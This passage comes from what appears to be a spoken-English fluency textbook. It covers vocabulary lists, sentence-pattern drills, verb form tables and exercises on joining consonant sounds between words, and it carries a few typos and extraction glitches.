interpret, interrupt, interval, intervene, interview, intimate, intimidate, into, intolerant, introduce, intrude, invade, invalid, invasion, invent, invert, investigate, investment, invisible, invitation, invite, invoke, involve, inwardly, iron, island, isolate, issue, item, itself, ivory. ‘J’ jacket, jealous, jealousy, jeopardize, jeopardy, jetty, jewel, jewellery, jolly, journal, journalist, journey, joyful, judgement, judicial, junction, jungle, justice, justify. ‘K’ kennel, kerosine, kettle, kidnap, kilo, kilogram, kilometre, kindhearted, kindly, kindness, kitchen, knowledge, knuckle, kudo. ‘L’ label, labour, ladder, lament, landscape, language, lately, later, latest, laughter, laundry, lavatory, lawyer, layer, lazy, leader, learned, learning, leather, lecture, legacy, legal, legend, legendary, leisure, lengthen, lessen, lesson, level, lever, liable, liar, liberal, liberate, liberty, library, licence, lighten, lightening, likely, limit, linger, liquid, liquor, listen, literary, literature, livelihood, lively, living, lobby, locate, logic, loneliness, lonely, longing, loosen, lorry, loudly, lovely, lower, loyal, lucky, luggage, lukewarm, lumber, lunatic, luxury (luksh ri or lugzh ri). ‘M’ maestro, magistrate, magnet, magnificent, mainland, mainly, maintain, maintenance, majesty, malice, manage, mankind, manly, manner, mansion, manual, manufacture, manuscript, marble, margin, marriage, marvel, marvellous, masculine, mason, masses, matter, mattress, mature, maximum, meagre, meanwhile, measure, mechanic, meddle, media, mediate, medicine, meditate, medium, meeting, mellow, memorial, memory, menace, mental, mention, menu, mercy, merely, merit, merry, message, method, middle, midnight, mighty, e e
mileage, militant, mingle, minimum, minor, miracle, misbehave, mischief, miserable, misery, misfortunate, mislead, missing, mission, misunderstand, mixture, model, moderate, modern, modest, modify, molest, moment, monotonous, monster, monument, moody, moral, mortally, mortgage, mostly, motion, motto, moustache, movement, movie, muddle, muddy, multitude, mumble, murder, murmer, muscle, museum, mutter, mutual, mystery, mysterious. ‘N’ naked, narrate, narrow, nasty, nation, native, natural, nature, naughty, navy, nearby, nearly, necessary, needle, needless, negative, neglect, negligent, negotiate, neighbour, neither, nephew, nervous, network, never, nickname, nightmare, nobility, noble, nobody, noisy, nominate, nonsense, normal, northern, nostril, noteworthy, nothing, notice, notify, notion, nourish, novel, nowadays, nowhere, nucleus, nuisance, number, numerous, nutrient. ‘O’ oasis, obedience, obey, object (n ), object (v), obligation, oblige, obscure, observe, obsolete, obstacle, obstruct, obtain, obvious, occasion, occupation, occupy, occur, ocean, o’clock, odour, offence, offend, offer, offensive, often, okay, omelette, omit, oneself, only, onto, open, operate, opinion, opponent, opportunity, oppose, opposite, opress, oral, orator, order, ordinary, organ, origin, ornament, orphan, other, otherwise, ourselves, outbreath, outburst, outcast, outcome, outcry, outdated, outdoor, outfit, outlaw, outlet, outline, outlive, outlook, outnumber, output, outrage, outside, outskirts, outspoken, outstanding, outward, oven, over, overall, overboard, overcoat, overcome, overflow, overhang, overhaul, overhear, overlook, overnight, overrun, overtake, overtime, overthrow, overturn, overwhelm, owner, oxygen, ozone. ‘P’
pacify, package, painful, palace, paleness, panel, panic, parachute, parallel, pardon, parent, parlour, partial, participate, particle, particular, partner, passage, passerby, passion, passport, pastime, patience, patient, patron, pattern, pavement, payment, peaceful, peasant, pebble, peculiar, pedestrian, penalty, penetrate, penny, pension, people, pepper, perceive, perfect, perfection, perform, perfume, perhaps, period, permanent, permission, permit, perpetual, persist, personality, persuade, persuasion, petition, petty, philosophy, physical, physician, pickle, pickpocket, picture, picturesque, pillar, pillow, pilot, piracy, pity, pleasant, pleasure, plenty, plucky, plumber, plunder, pocket, poem, poet, poison, police, policy, polish, polite, politeness, political, pollution, popular, population, porter, portion, portray, portrait, position, positive, possess, possible, postpone, pottery, poverty, powder, power, practical, practice (n), practise (v), prayer, precede, precious, precise, predecessor, preface, prefer, pregnant, prejudice, prepare, prescribe, prescription, presence, present (n), present (v), preserve, preside, president, pressure, prestige, presume, pretend, pretext, pretty, prevail, prevalent, prevent, previous, prickles, prickly, primary, principal, principle, printer, prison, private, privilege, probable, problem, procedure, proceed, process, proclaim, produce (n), produce (v), profess, proficiency, profile, profit, programme, progress (n), progress (v), project (n), project (v), promise, promote, pronounce, pronunciation, proper, property, proposal, proportion, proprietor, propose, prospect, prosper, protect, protest (n), protest (v), proudly, proverb, provide, province, provision, provocation, provoke, proxy, prudent, psychological, public, publish, puddle, pulley, punctual, punish, punishment, pupil, purchase, purity, purpose, pursue, pursuit, puzzle. ‘Q’
qualification, qualified, qualify, quantity, quarrel, quarter, quarterly, quaver, question, quickly, quietly, quietness, quintal, quiver, quota, quotation. ‘R’ racial, racket, radius, railing, rainbow, rally, rapid, rather, rattle, react, ready, reality, realize, really, reason, rebel (n), rebel (v), rebellion, recall, receipt, receive, recent, reception, recess, recipe, reckless, recognition, recognize, recoil, recollect, recommend, reconcile, reconstruct, record (n), record (v), recover, recovery, recreation, recruit, rectangle, reddish, reduce, reduction, refer, refine, reflect, reform, refrain, refresh, refuge, refuse, regard, region, regret, regular, rehearsal, reinforce, reject, rejoice, relate, relation, relative, relax, release, reliable, relief, relieve, religion, religious, relinquish, relish, reluctance, rely, remain, remark, remedy, remember, remind, remote, removal, remove, render, renew, renovate, renown, repair, repeat, repent, repetition, replace, reply, report, represent, reproach, reproduce, republic, reputation, request, require, rescue, research, resemblance, resent, reservation, reserve, reside, resign, resignation, resist, resistance, resolution, resolve, resort, resource, respect, respond, response, restore, restrain, restrict, result, resume, retain, retire, retreat, return, reveal, revenge, reverse, revert, review, revise, revive, revoke, revolt, revolution, revolve, reward, rhythm, riddle, rider, ridiculous, rigid, riot, ripen, risky, rival, robber, rocky, rotten, roughly, routine, royal, rubbish, rudely, rugged, ruler, rumour, rural, rusty, rustle, ruthless. ‘S’ sachet (sasha), sacred, sacrifice, saddle, sadly, safely, safety, sailor, salty, salute, sandy, satire, satisfaction, saucer, sausage, savage, scarcely, scarcity, scatter, scenery, schedule, scholarship, scientific, scissors, scornful, scribble, sculpture, seaside, season, secret, section, secure, seduce, seldom, select, self– confident, self–conscious, self–control, self–interest,
self–made, self–respect, self–service, selfish, seller, sender, sensation, senseless, sensible, sentiment, separate, serial, series, serious, sermon, serpent, servant, service, session, setting, settle, several, severe, sexual, sexy, shabby, shadow, shadowy, shady, shallow, shameful, shameless, shapeless, share, sharpen, shatter, shelter, shimmer, shiny, shiver, shortage, shorter, shortcoming, shoulder, shower, shudder, sickness, sidework, sideways, sightseeing, signal, signature, signify, significant, silence, silent, silly, silver, similarly, simple, simultaneous, sincere, singer, single, situated, situation, skeleton, skilful, slacken, slaughter, slavery, sleepy, slender, slightly, slipper, slipshod, slowly, snapshot, sober, socalled, social, society, soften, solemn, solid, solitary, solitude, solution, somebody, somehow, someone, something, sometime, somewhere, sorrow, sorry, southern, souvenir, sovereign, spacious, sparkle, spectacles, spectator, speculate, speedy, spirit, splendid, sportsman, sprinkle, stable, stagger, staircase, stammer, startle, starvation, stateman, statement, statue, steadfast, steady, sticky, stiffen, stillness, stingy, stocking, stony, storage, storey, stormy, straighten, strangely, stranger, strengthen, stretcher, strictly, striking, strongly, structure, struggle, stubborn, student, study, stuffy, stupid, sturdy, subdue, submit, substance, substitute, subtle, subtract, suburb, succeed, (s ksed), success (s kses), sudden, suffer, sufficient, suggest, suicide, suitable, summary, summon, sunrise, sunset, sunshine, sunny, super, superior, superstition, supper, supply, support, suppose, supress, supreme, surely, surface, surgeon, surgery, surprise, surrender, surround, survey, survive, suspect, suspicion, sustain, swallow, swampy, sweater, sweeten, swollen, swelling, swiftly, symbol, sympathy, syrup, system. ‘T’ tablet, tackle, talent, target, tarriff, tarnish, teenager, telegram, temper, temperate, temple, temporarily, temporary, tenant, tendency, tender, tension, terminal, terrible, terrific, territory, terror, theatre, theory, thicken, thickness, thinker, thirsty, thorough, thoughtful, e e
thoughtless, threaten, thriller, throughout, thunder, thunderstorm, tidy, tighten, timber, timely, tiny, tiptop, title, together, token, tolerable, tolerate, topic, torture, tourist, toward, tower, toxic, trader, tradition, traffic, tragedy (trajidi), trailer, trainer, traitor, trample, transfer (n), transfer (v), transform, translate, transmit, transparent, travel, treasure, treatment, tremble, tremendous, trespass, triangle, trickle, trifle, trigger, triumph, trouble, trousers, trumpet, tumble, tunnel, turbulent, turning, tyrant. ‘U’ ugly, ultimate, umpire, unable, unarmed, unbutton, uncertain, uncomfortable, uncommon, unconscious, underground, undergrowth, underline, understand, understatement, undertake, undo, undress, uneasy, unemployment, unfair, unfortunately, unhappy, uniform, union, unique, unit, unite, united, unity, universal, universe, unjust, unkind, unknown, unlawful, unless, unlike, unload, unlock, unlucky, unnecessary, unpleasant, unsatisfactory, untidy, untie, until, unusual, unwilling, uphill, uphold, upkeep, upon, upper, uppermost, upright, uproar, uproot, upset, upstairs, upwards, urban, urgent, useful, useless, usual, utmost, utter, utterance. ‘V’ vacant, vacation, vaccum, valiant, valid, valley, valour, valuable, valueless, vanish, variation, variety, various, vary, vegetable, vengeance, venture, verandah, verify, vertical, vessel, veto, vicious, victim, victor, victory, vigour, violate, violence, violent, virgin, virtue, visible, vision, visit, vital, vivid, vocabulary, vocal, volume, voluntarily, volunteer, vomit, voyage, vulgar, vulnerable. ‘W’ waddle, waken, wallet, wander, wardrobe, warehouse, warmly, warning, wasteful, watchdog, waterproof, water–resistance, watery, weaken, weakness, wealthy, weapon, weather, wedding, weekend, weekly, welfare, well–known, well–made, western, westwards, whatever,
whenever, wherever, whether, whichever, whisper, whistle, whoever, wholly, widely, widen, widespread, widow, widower, willing, windy, wisdom, wisely, witty, withdraw, within, without, witness, woman, (woom n), women, (wim n), wonder, wooden, woolen, worker, worldwide, worry, worship, worthless, worthwhile, worthy, wrinkle. ‘X’ X–ray, X–mas. ‘Y’ yearly, yellow, yesterday, youngster, yourself, yourselves, youthfulness. ‘Z’ zealous, zealousness, zigzag, zipper.
Let Yourself Sharp Your Vocabulary
Now you have an important treasure of words you can bank upon. Do you know what does Bank do to earn income on its treasure of Deposits ? Yes, it keeps its money in circulation to earn more money. As Bank keeps the money in circulation to earn more money, so, your this Vocabulary Bank also requires same type of circulation; and the best way to keep it rolling on is the maximum utilisation of this bank’s treasure. Therefore, more and more and frequent use of these words is an indispensable process to enrich your Vocabulary Bank. In both, the list of Mono–syllabic words and Poly– syllabic words, you might have encountered with some strange words. You are required to sort out them and consult these words with your dictionary to find out various meanings of them. Besides, you can classify them in following three groups for better acquaintance : (a) The words in which stress falls on the First syllable. For example, able, action, angry etc. (b) The words in which stress falls on the Second syllable. For example, aback, absorb, affect etc., and (c) The words in which stress falls on the Third syllable. For example, admiration, anniversary, artificial etc.
e
e
By classifying these words, you can acquire the skill to grasp the words quickly and your organs of speech would feel convenient to pronounce them effectively. So make effective use of this drill and speak them loudly. This is very important task to be performed by your organs of speech to be accustommed in the fashion that demands English language.
Develop Fast Friendship with Core Words
The Core words may be proved your best assistant. Now count your treasure. You have 4000 words in your hands, i.e., 1586 Mono–syllabic words plus 2414 Poly– syllabic words in your Vocabulary Bank. This treasure is enough to make you rich in fluency. These words are capable to bestow you the powerful proficiency to communicate effectively. But it doesn’t mean that you should limit your efforts to enrich this Vocabulary Bank. Make arrangement for any good book that can show you the way to make better use of Prefixes and Suffixes to frame more new words. Any how at present you should try to master the given list of Mono–syllabic and Poly– syllabic words, and you can rely then on your organs of speech that they won’t feel any difficulty to make you fluent in English speech.
Your Attention Please
You are also required to bear in your mind that you should always use simple and common words to make your communication accessible to listener, and make your speech realistic. Trying to make your speech high sounding can ditch your fluency. That’s why always beware of High Sounding and difficult to pronounce words at this stage. Yes, after acquiring required fluency level you can be at your liberty to use such words at your convenience.
Let us Practice
The following are the model structures to train your organs of speech. Read them out loudly so that your voice could easily strike your ear–drums, and your memory can be waked up.
Practice Material
Read out the practice material aloud, and try to speak the group of words as a single unit. For example read “I wasn’t the secretary.” as “Iwasn’tthesecretary.” General Structure No. 1. I am a student. I am not a teacher. I am looking at the door. I am not playing football. I am happy to see your report. I am not afraid of snakes. I am an actor. I am not a tailor. I am going to circus. I am not going to cinema. He is a clever boy. He is not a good student. He is just going to read it. He is not writing the lesson. He is an intelligent. He is not a stupid. He is a very handsome chap. He is not so laborious. He is swimming into the pool. He is not running on the track. She is a very sweet girl. She is not lazy. She is smart. She is not courteous. She is reading a letter. She is not cooking the food. She is a pretty looking girl. She is not so ugly. She is playing with kids. She is not the girl he wanted to see. It is mine. It is not hers. It is Raju. It is not Raju’s bag. It is big enough. It is not large enough to pick. It is his fault. It is not a good one. It is draining. It is not getting cool. You are down stairs. You are not up stairs. You are across the road. You are not near to me. You are forcing him to run. You are not allowing him to go. You are sure. You are not pleased with her. You are a really nice fellow. You are not cruel to others. We are listening the music. We are not singing the song. We are above. We are not below. We are proud of our son. We are not sure about it. We are managing a hotel. We are not tax payers. We are all geniuses. We are not all silly fools. They are our friends. They are not idiots. They are qualified teachers. They are not trained persons. They are the people who live here. They are not doing well. They are sly and cunning. They are not feeling ashamed. They are very polite to us. They are not so proud.
General Structure No. 2. I was inside. I was not outside. I was here. I was not there. I was having lunch. I was not the President. I was lucky. I was not upset over that. I was the prefect of my class. I was not playing the match, I was not there. He was a clerk. He was not the thief. He was so kind and gentle. He was not wrong at all. He was the boy I wanted to see. He was a classmate of mine. He was the son of Prime Minister. He was not the President’s brother. He was very happy and gay. He was not surprised to have it. She was down. She was not up. She was outside. She was not inside. She was washing her clothes. She was not doing her best. She was a good dancer. She was not a dull student. She was very fortunate. She was not so lucky. She was the best girl to ask. She was not the girl I have been looking for. It was me. It was not me. It was us. It was shining as it used to. It was not floating on the surface. It was worse at all. It (the container) was not full of sweets. It was as simple as that. It was not so tough. You were away. You were not back. You were writing the notes. You were not fighting with others. You were very crazy. You were not so idiot. You were wearing a fine shirt. You were not practising hard. You were his good friend. You were not her enemy. We were early. We were not late. We were far away. We were not somewhere. We were pleased to see him. We were not calm about that. We were sure about that. We were not confused about that. We were planning for a trip. We were not explaining it to them. They were ahead. They were not behind. They were near. There were not far. They were cutting it short. They were not making a noise. They were going there on business. They were not feeling very happy. They were ready to do it. They were not sly and cunning. General Structure No. 3. I am behind the curtain. I am not by the gate. I was near the shop. I was not disturbed at all.
He is far away from Agra. He is not in a good mood. He was at fault. He was not across the road. She is from my town. She is not at the back of her seat. She was on the top of list. She was not on the board. It is a long way from here. It is not by the side of the hotel. It was mentioned at the last. It was not included in the list. You are in between the rows. You are not among your friends. You were away from here. You were not here for a long time. We are against indiscipline. We are not against freedom. We were the customers of that shop. We were not the members of club. They are off side the street. They are not in front of the gate. They were of very different kind. They were not the person I have been looking for. General Structure No. 4. I like it. I don’t have money. He enjoys playing guitar. He doesn’t play well. She stiches well. She doesn’t cook so well. It belongs to me. It doesn’t entertain nicely. You write better. You don’t speak in fluency. We run fast. We don’t eat eggs. They believe much on it. They don’t enjoy playing hockey. I lived in New Delhi. I didn’t go there. He forgot his promise. He didn’t owe her any money. She ate too much. She didn’t relish the dishes. It prevented her to play. It didn’t drop down from his hand. You completed your work. You didn’t write any letter. We stayed at home till eight. We didn’t avoid meeting them. They asked to enter the room. They didn’t help me. General Structure No. 5. I have finished that novel. I haven’t written my notes. He has confessed it. He hasn’t used any unfair means. She has broken it open. She hasn’t forgotten her insult. It has annoyed him. It (train) hasn’t left before she reached the station. You have judged well. You haven’t misspelt any word. We have forgotten his mischief. We haven’t listened any noise. They have made many mistakes. They haven’t made fun of her. I had written
my book. I hadn’t spoken any harsh word. He had quarrelled badly. He hadn’t informed us that* he is coming. She had allowed him to go out. She hadn’t sung better. It had become dry. It hadn’t made her work harder. You had addressed it to him. You hadn’t started the speech. We had painted the room. We hadn’t charged him anything. They had paid the coolie. They hadn’t offered any bribe. General Structure No. 6. Dog is a faithful animal. Goats aren’t wild animals. Singing is her favourite hobby. Hockey isn’t his favourite game. Rohit is a brilliant student. There are new designs of clothes. The postmen delivered the letters. The sweeper didn’t sweep the street. Their men had done appreciable work. The workmen hadn’t report on their duty. A lot of people rush to the spot. One of my friends didn’t go to the circus. Every girl want to be an actress. The house owner doesn’t let out the flat. His shoes needs polishing. Her hair doesn’t want setting. Just for a few rupees they fought badly. Just a few steps after he was not visible. More people have completed their assignments. Many of them haven’t sprayed the house–walls.
Chapter in Nutshell
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Build up your own Vocabulary Bank. Have better acquaintance with words, i.e. Mono– syllabic words, and Poly–syllabic words. Mono– syllabic words contain only one syllable. On the other hand, Poly–syllabic words contain more than one syllable. Mono–syllabic words generally need not any stress or extra effort to speak them out, while Poly–syllabic words require stress as the situation demands. Read out the given Mono–syllabic, and Poly–syllabic words ALOUD. Practic e Material requires frequent and several readings ALOUD.
• • •
* efficiently. I We You They He She It I We You They He She It I We You They He She It I We You They He She It What should speak I don’t We don’t You don’t They don’t He doesn’t She doesn’t It doesn’t I didn’t We didn’t You didn’t They didn’t He didn’t She didn’t It didn’t I have/haven’t We have/haven’t You have/haven’t They have/haven’t He has/hasn’t She has/hasn’t It has/hasn’t I had/hadn’t We had/hadn’t You had/hadn’t They had/hadn’t He had/hadn’t She had/hadn’t It had/hadn’t What’s not I doesn’t We doesn’t You doesn’t They doesn’t He don’t She don’t It don’t — — — — — — — I has/hasn’t We has/hasn’t You has/hasn’t × × × × × × ×
× × ×
They has/hasn’t × He have/haven’t × She have/haven’t × It have/haven’t × — — — — — — —’.
You’ve gone through the important combinations of various word–groups of English language those follow certain principles and patterns. You are required to adhere strictly with them. Now you repeat each and every combination ALOUD so many times in the following manner : I don’t We don’t You don’t They don’t He doesn’t She doesn’t It doesn’t I didn’t He didn’t I have He has I haven’t He hasn’t I had He had I hadn’t He hadn’t We didn’t She didn’t We have She has We haven’t She hasn’t We had She had We hadn’t She hadn’t You didn’t It didn’t You have It has They didn’t They have
You haven’t They haven’t It hasn’t You had It had You hadn’t It hadn’t They had They hadn’t
Understand the Verb and its 3 forms
Verbs or Action words and their proper application is the life–line of your speech fluency. Given herebelow is the list of most frequently used verbs or action words. Go through them and read them Aloud.
Most–Frequently used Verbs (Action words)
Basic (Ist Form) Group I : Past Tense (IInd Form) Past Participle (IIIrd Form)
Group II :
The verbs of this group have the same physical structure (spellings) in all the three forms, i.e., Basic (Ist) form; Past Tense (IInd) form, and Past Participle (III) form. bet bet bet burst burst burst cast cast cast cost cost cost cut cut cut hit hit hit hurt hurt hurt let let let put put put read (red) read (red) read (red) rid rid rid set set set shut shut shut split split split spread spread spread upset upset upset In this group, spellings of Basic forms are different from Past Tense forms, while the Past Tense forms and Past Participle forms have the similar structure of spellings. awake awoke awoke bend bent bent bind bound bound bleed bled bled breed bred bred bring brought brought
I build burn buy catch cling creep deal dig dream (drem) dwell feed feel fight find fling get grind hold kneel (nel) lead lean leave lend lose make mean meet shine sit sleep slide smell
*
II built burnt bought caught clung crept dealt dug dreamt (dremt) dwelt fed felt fought found flung got ground held knelt (nelt) led leant left lent lost made meant met shone sat slept slid smelt
III built burnt bought caught clung crept dealt dug dreamt (dremt) dwelt fed felt fought found flung got* ground held knelt (nelt) led leant left lent lost made meant met shone sat slept slid smelt
American accent uses it as ‘gotten.’
I II III speed sped sped spend spent spent spin spun spun spit spat spat spoil spoilt spoilt stand stood stood stick stuck stuck sting stung stung strike struck struck string strung strung sweep swept swept swim swam swam swing swung swung teach taught taught think thought thought understand understood understood weep wept wept win won won wind wound wound wring wrung wrung Group III : Action words of this group have different spellings in Basic, Past Tense and Past Participle forms. arise arose arisen bear bore born beat beat beaten bid bade bidden bite bit bitten blow blew blown break broke broken choose chose chosen draw drew drawn drink drank drunken drive drove driven eat ate eaten
I fall fly forbid forget forgive forsake freeze give go grow hide know lie ride rise see shake show shrink sink slay sow speak spell steal strive swear (swar) swell take tear throw tread wake wear weave write
II fell flew forbade forgot forgave forsook froze gave went grew hid knew lay rode rose saw shook showed shrank sank slew sowed spoke spelled stole strove swore (swor) swelled took tore threw trod woke wore wove wrote
III fallen flown forbidden forgotten forgiven forsaken frozen given gone grown hidden known lain ridden risen seen shaken shown shrunk sunk slain sown spoken spelt stolen striven sworn (sworn) swollen taken torn thrown trodden waken worn woven written
I II III Group IV : This group contains the action words which can be changed into past tense and past participle by adding ‘d’ or ‘ed’ at the end thereof. For example : ask asked asked drop dropped dropped force forced forced laugh laughed laughed reduce reduced reduced The following are some such words that need only ‘d’ or ‘ed’ to be added at the end thereof to become past tense and past participle. Go through them, grasp them and read them ALOUD, all the three forms. ‘A’→ accept, accompany, account, accustom, ache, act, add, address, admire, admit, advance, advertise, advise, afford, agree, aim, allow, amuse, annoy, answer, appear, appoint, approve, argue, arm, arrange, arrive, ask, attack, attempt, attend, attract, avoid FYFW* ‘B’→ bake, bar, base, beg, behave, believe, belong, bill, blame, block, boil, border, borrow, branch, breathe, bridge, brush, bury, button FYFW ‘C’→ call, camp, care, carry, cause, cease, chain, change, charge, charm, chase, cheat, cheer, civilize, claim, clean, clear, climb, close, clothe, collect, colour, comb, combine, comfort, command, compare, compel, complain, complete, concern, confuse, connect, conquer, consider, consist, contain, continue, control, copy, cough, count, cover, crack, crash, cross, crowd, cry, cure, curl, curse, curve FYFW
*
Use this space ‘For Your Favourite Words (FYFW)’.
‘D’→ damage, dance, dare, decay, deceive, decide, decrease, declare, defeat, defend, delay, delight, deliver, demand, depend, descend, describe, desert, deserve, desire, destroy, determine, develop, die, dip, direct, disappoint, discourage, discover, divide, doubt, drag, dress, drop, drown, dry FYFW ‘E’→ earn, educate, elect, employ, enclose, encourage, end, enjoy, enquire, enter, escape, establish, examine, exercise, excite, excuse, exchange, exist, expect, explain, explode, express FYFW ‘F’→ fade, fail, fancy, fasten, favour, fear, feast, fill, film, fire, fish, fit, fix, flame, flash, float, flood, flow, fold, follow, form, free, fulfil(l), furnish FYFW ‘G’→ gain, gather, govern, greet, grieve, guess, guide FYFW ‘H’→ hammer, hand, handle, happen, harm, hasten, hate, heap, heat, help, hire, hook, hope, hurry, hunt FYFW ‘I’→ imagine, improve, include, infect, influence, inform, inquire, instruct, intend, interest, interrupt, introduce, invent, invite FYFW ‘J’→ join, joke, judge, jump FYFW ‘K’→ kick, kill, knot FYFW ‘L’→ lack, land, last, laugh, lift, like, limit, listen, live, load, lock, lodge, look, love, lower FYFW
‘M’→ manage, march, mark, marry, match, matter, meagre, mend, mention, milk, mind, miss, mix, move, murder FYFW ‘N’→ nail, name, need, note, notice, nurse FYFW
‘O’→ obey, obtain, offend, offer, oil, open, operate,
oppose, order, ornament, overflow, owe, own FYFW ‘P’→ pack, paint, park, pass, past, pause, perform, permit, persuade, photograph, pick, pile, pilot, pity, place, plan, plant, play, please, point, poison, polish, post, pour, practise, praise, prefer(r), prepare, present, preserve, press, pretend, prevent, prick, print, promise, pronounce, protect, prove, provide, pull, pump, punish, push FYFW ‘Q’→ quarrel, question FYFW ‘R’ → race, rain, raise, reach, reason, receive, recognise, record, reduce, refuse, regard, relate, remain, remember, remind, remove, rent, repair, repeat, reply, report, represent, request, require, respect, rest, result, retire, return, reward, risk, rob, roll, row, rub, rush FYFW ‘S’→ sail, satisfy, save, scatter, scold, screw, search, seat, seem, seize, separate, serve, settle, shade, share, shelter, shield, shock, shop, shout, sign, signal, slip, slope, slow, smile, smoke, sound, stamp, start, state, stay, steam, step, stop, store, stretch, stitch, struggle, study, succeed, suck, suffer, suggest, suit, supply, support, suppose, surprise, surround, suspect, swallow FYFW
‘T’→ talk, task, tax, telephone, test, thank, tidy, tie, tire, toss, touch, tow, tower, train, trap, travel, treat, tremble, trick, trouble, trust, try, turn, twist FYFW ‘U’→ unite, urge, use FYFW ‘V’→ vary, visit, vote FYFW ‘W’→ wait, walk, wander, want, warm, warn, wash, waste, watch, wave, weigh, welcome, whip, whisper, whistle, wish, wonder, work, worry, worship, wrap, wreck, wound FYFW complained.
*
The word/word-group here is not an essential part of spoken English. Hence, it can be omitted. If the context demands, then you have to speak it out.
Group 4. I thought (that)* she was honest. I thought (that) she was an honest girl. We felt (that) they were not right. We felt (that) they were not the right persons. You found (that) she was correct. You found (that) she was a correct lady. They knew (that) I was guilty. They knew (that) I was the guilty person. He guessed (that) he was cunning. He guessed (that) he was a cunning boy. She supposed (that) it was old. She suppossed (that) it was an old one. I felt (that) her decision was wrong. I felt (that) her decision was wrong one. We reported (that) they were efficient. We reported (that) they were efficient persons. You found (that) we were honest. You found (that) we were the honest men. They presumed (that) that was right. They presumed (that) that was the right answer. He considered (that) it was important. He considered (that) it was an important thing. She believed (that) it was true. She believed (that) it was the truth. I expected (that) she would be there. I said (that) they were right. We felt (that) we must apologize. We hear (that) you have selected her. You wished (that) they wouldn’t interfere. You thought (that) she would like to come. They thought (that) he would be there. They believed (that) I recognised their voice. He hoped (that) she wouldn’t check it. He decided (that) he’ll not interrupt. She requested (that) I must come. She suggested (that) they must consult a doctor. I told them (that) they were not right. I requested her (that) be quite and calm. We convinced her (that) he was not wrong. We told him (that) he should leave the place. You phoned him (that) he can come. You informed us (that) they can reach there. They satisfied (that) we could depend on them. They reminded me (that) they won’t come. He assured me (that) he would do it. He requested us (that) we must consider his case. She insisted me (that) I must do it. She pleaded them (that) they must oblige her.
*
‘that’ is not an essential part of spoken English, hence you can omit it.
Chapter in Nutshell
• • • •
Grasp the Principles of Description, i.e. Important Combinations of Speech. Pay due attention towards ‘Things to Remember’. Understand the Action words and their three forms carefully. your idea-units efficiently, you are in need of new words, Conjunction, Interjection and Articles. There is no necessity to go in details for all these parts of speech. As we are concerned with speech–fluency part of English, therefore, we shall look at the structures from different angle. Generally, whenever we speak, we speak about a person, or a place or a thing. It means a part of ideaunittime inspirational scattered,, understood something,ment, rubbed his hand, gripped my shoulder, planted a tree, shook his head, missed the train, shown the composition, something, • • • •
style. Understand the Parts of Speech, viz. Naming Part, Descriptive Part, and Action Part. Read the list of ‘Naming Frames’ and ‘Action Frames’ ALOUD. Pick a Naming frame and conjugate it with different Action frames ; and generate numerous idea-units. indispensable
*
For detailed study of sounds (pronunciations), refer to chapter 1.
with the sound of alphabet. And on the basis of sound, we’ll determine the word–junctions of letters. Thus, you have the following types of junctions :
1. Consonant–Consonant Junctions
Consonant–Consonant junctions are the junctions where a word ending with a consonant comes first and the next word to it also starts with a consonant. For example–superb game, back door, big table, cat vomitted, etc. Further, the consonant-consonant junctions can be classified in two groups, viz, (a) Junctions originated by just two consonants like big table, cat vomitted etc. Here, before consonant ‘g’ is a sound of ‘i’ and after consonant ‘t’ is a sound of ‘a’ in word group ‘big table’, and (b) Junctions originated by more than two consonants like fast bus, accept gifts etc. Here, ‘st’ and ‘b’, and ‘pt’ and ‘g’ form this category of junctions in wordgroups ‘fast bus’ and ‘accept gifts’ respectively, and you could always find ‘t’ or ‘d’ at the point of junction. In such cases, you should avoid the sound of ‘d’ or ‘t’. And you are required to produce partly sound of the first consonant and sound fully the consonant of the next word of that word–group. For example, you should pronounce ‘fast bus’ as ‘fas bus = fasbus’, omitting the sound of ‘t’ from word ‘fast’. Now grasp the idea of consonant–consonant junctions illustratively. (a) Junctions Originated by just Two Consonants— At the time of flowing the sound of ‘b’, ‘d’, ‘g’, ‘k’, ‘p’, ‘t’ into the sound of other consonant, you have to be very careful. Have neither gap at the junction nor explosion of sound after the last sound of first word and before the first sound of second word, nor allow any vowel sound like ‘a’ or ‘u’ in between them. For example, you say ‘top portion’ as ‘toportion’ instead of ‘topportion’. Here you avoid the sound of ‘p’ of ‘top’ and speak only one ‘p’ of the word ‘portion’. This is the high time to break all the barriers of fluency at the word junctions. So go through the following special collection of consonant–consonant junctions carefully, and say the word–group aloud again and again.
stop singing, stop going, stop laughing, stop joking, stop running, stop writing, stop reading, stop chatting, keep listening, keep singing, keep thinking, keep playing, keep saying, top hill, top bottom, top portion, cheap chair, cheap potato, cheap talk, cheap cover, superb performance, superb game, superb gallery, slip back, slip forward, step forward, grip very, keep your, steep wall, deep zone, develop the, mob became, mob chased, mob like, rub just, rub foolishly, rub carefully, absorb very, absorb half, grab now, grab your, glib manner, job should, job for, job during, job racket, disturb things, not tired, it follows, it happened, what word, quiet please, hot cake, not zero, eight years, get back, smart girl, great show, not right, great danger, that vegetable, that may, what next, fit the, got letters, what changes, that fun. look surprised, look gloomy, look better, look your, look cheerful, look here, look there, check properly, red book, red curtain, red figure, black figure, black curtain, back door, book shop, stock worth, knock lightly, pick the, stock things, link this, bad boy, bad pen, hard cover, concluded that, sad look, bad habits, bad fellow, good news, started very, splendid chance, good judge, noted down, included the, scolded me, started yielding, bad wood, much depends, much chance, approach people, reach very, touch me, much wealth, much relief, rich fellow, poor fellow, rich very, beach garden, which calendar, which book, which junction, which shop, touch their, attack some, much haste, which letter, big table, big chair, big chance, big changes, big people, big zoo, big note, big shop, big yield, big report, big thief, big dog, big gang, big things, dig carefully, drag something, dig here, drug might, bag without, bag full, bag fell. enough for, if the, enough height, brief note, rough road, chief value, chief doctor, brief period, enough courage, tough job, thief got, thief said, half your, earth turns, north gate, cloth faded, both panicked, cloth belonged, worth visiting, worth much, worth just, worth thousand, worth nothing, breath was, bath room, both keys, both hands, both liked, both sat, both these, both changed, teeth decayed, youth should, with pity, with delight, with terrific, with children, with wife, with force, with vision, with ladies, with whatever, with none, with
